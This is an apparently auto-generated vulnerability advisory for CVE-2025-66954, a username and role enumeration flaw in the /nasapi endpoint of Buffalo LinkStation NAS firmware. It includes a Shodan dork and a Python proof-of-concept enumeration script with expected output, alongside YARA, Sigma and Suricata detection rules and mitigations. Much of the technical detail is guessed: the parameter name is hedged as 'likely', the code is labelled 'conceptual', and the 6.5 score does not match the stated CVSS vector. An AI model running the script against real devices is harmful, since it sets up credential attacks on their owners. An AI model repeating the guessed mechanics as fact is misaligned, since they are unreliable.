CVE-2025-66954
Executive Summary
CVE-2025-66954 is an information disclosure vulnerability in the Buffalo LinkStation NAS device, specifically in firmware version 1.85-0.01. The flaw allows an unauthenticated or guest-level attacker to enumerate valid usernames and their associated privilege roles by manipulating a parameter in requests sent to the /nasapi endpoint. This enumeration can serve as a precursor to targeted attacks, such as brute-force or credential stuffing, against privileged accounts. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known patch or public exploit code, though the proof-of-concept technique is publicly described.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a physical NAS device.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated exploitation.
- User Interaction: None (UI:N) – no victim action needed.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – disclosure of usernames and roles.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. While the direct impact is limited to information disclosure, the leaked usernames and roles can significantly aid attackers in subsequent targeted attacks, such as brute-forcing admin credentials.
Deep Dive & Mechanics
The vulnerability resides in the /nasapi endpoint of the Buffalo LinkStation web interface. By default, this endpoint is accessible without authentication. The flaw is triggered by modifying a specific parameter (likely user or username) in the API request. When an attacker sends a crafted request with a non-existent username, the endpoint returns a generic error message. However, when a valid username is supplied, the response includes the username and its associated privilege role (e.g., admin, user, guest). This behavior allows an attacker to enumerate all valid accounts on the device.
Root Cause: The /nasapi endpoint fails to enforce authentication or authorization checks before processing user enumeration requests. It also does not implement rate limiting or obfuscation of valid vs. invalid responses, making enumeration trivial.
Attack Flow:
- Attacker identifies a Buffalo LinkStation device (e.g., via Shodan).
- Attacker sends a GET or POST request to
/nasapiwith a parameter likeuser=admin. - If
adminis a valid user, the response includes{"user":"admin","role":"admin"}. - Attacker repeats with common usernames (e.g.,
root,guest,user) to build a list of valid accounts. - Attacker uses the enumerated usernames to launch brute-force or credential-stuffing attacks.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current firmware. A patched version would need to:
- Require authentication for the
/nasapiendpoint. - Return consistent responses for both valid and invalid usernames (e.g., always return a generic error).
- Implement rate limiting to prevent automated enumeration.
Vulnerable Code (Conceptual):
@app.route('/nasapi', methods=['GET', 'POST'])
def nasapi():
username = request.args.get('user')
user = db.get_user(username)
if user:
return jsonify({"user": user.name, "role": user.role})
else:
return jsonify({"error": "User not found"}), 404
Patched Code (Conceptual):
@app.route('/nasapi', methods=['GET', 'POST'])
@login_required
def nasapi():
username = request.args.get('user')
user = db.get_user(username)
if user:
# Only return info if the requester is the same user or an admin
if current_user.name == username or current_user.role == 'admin':
return jsonify({"user": user.name, "role": user.role})
else:
return jsonify({"error": "Access denied"}), 403
else:
# Return generic error to prevent enumeration
return jsonify({"error": "Invalid request"}), 400
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Buffalo LinkStation device with firmware 1.85-0.01 (or a vulnerable emulated environment).
- Network access to the device's web interface (typically port 80 or 443).
Exploitation Steps:
- Identify Target: Use Shodan with dork
title:"Buffalo LinkStation"to find exposed devices. - Enumerate Usernames: Use a script to send requests to
/nasapiwith common usernames.
Proof-of-Concept Script (Python):
import requests
target = "http://<target_ip>"
usernames = ["admin", "root", "guest", "user", "test", "backup"]
for user in usernames:
url = f"{target}/nasapi?user={user}"
response = requests.get(url)
if "role" in response.text:
print(f"[+] Valid user found: {user} - {response.json()}")
else:
print(f"[-] Invalid user: {user}")
Expected Output:
[+] Valid user found: admin - {'user': 'admin', 'role': 'admin'}
[+] Valid user found: guest - {'user': 'guest', 'role': 'guest'}
[-] Invalid user: root
Blue Team (Defense & Detection)
Detection Steps:
- Monitor Logs: Check web server logs for repeated requests to
/nasapiwith varyinguserparameters. - Rate Limiting: Implement rate limiting on the
/nasapiendpoint to slow down enumeration attempts. - Honeypot Accounts: Add fake high-privilege accounts (e.g.,
admin_backup) to logs to detect enumeration.
Mitigation (Temporary):
- Block external access to the
/nasapiendpoint via firewall or reverse proxy rules. - If possible, disable the
/nasapiendpoint entirely until a patch is available.
Indicators of Compromise (IOCs)
- Network IOCs:
- Repeated HTTP requests to
/nasapi?user=<username>from a single IP. - Responses containing
"role":in the JSON body.
- Repeated HTTP requests to
- File IOCs:
- Web server logs showing multiple 200 OK responses to
/nasapiwith differentuserparameters.
- Web server logs showing multiple 200 OK responses to
- System IOCs:
- Unusual login attempts following username enumeration (e.g., brute-force against admin account).
Detection Engineering
YARA Rule
rule CVE_2025_66954_Username_Enumeration {
meta:
description = "Detects HTTP requests attempting to exploit CVE-2025-66954 for username enumeration on Buffalo LinkStation"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-66954"
strings:
$nasapi = "/nasapi" ascii nocase
$user_param = "?user=" ascii nocase
$role_response = "\"role\":" ascii
condition:
$nasapi and $user_param and #role_response > 0
}
Sigma Rule
title: Buffalo LinkStation Username Enumeration via /nasapi
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects multiple requests to /nasapi with different user parameters, indicating username enumeration.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "/nasapi?user="
condition: selection
timeframe: 5m
condition: selection | count() by src_ip > 5
falsepositives:
- Legitimate admin scripts performing user lookups
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66954 Buffalo LinkStation Username Enumeration"; flow:to_server; content:"/nasapi"; http_uri; content:"?user="; http_uri; pcre:"/\/nasapi\?user=[a-zA-Z0-9_]+/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Use a firewall or reverse proxy to block external access to the
/nasapiendpoint. Only allow trusted IPs if the endpoint is required. - Disable Endpoint: If the
/nasapiendpoint is not essential, disable it in the device configuration. - Monitor Logs: Enable detailed logging and monitor for enumeration attempts.
Long-Term Fix:
- Apply a firmware patch from Buffalo when available. As of now, no patch exists.
- Consider replacing the device if the vendor does not release a security update.
Workaround:
- Implement a WAF (Web Application Firewall) rule to block requests containing
/nasapi?user=with a high rate limit.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: F632E8A54E1ECD7644E80B28] */}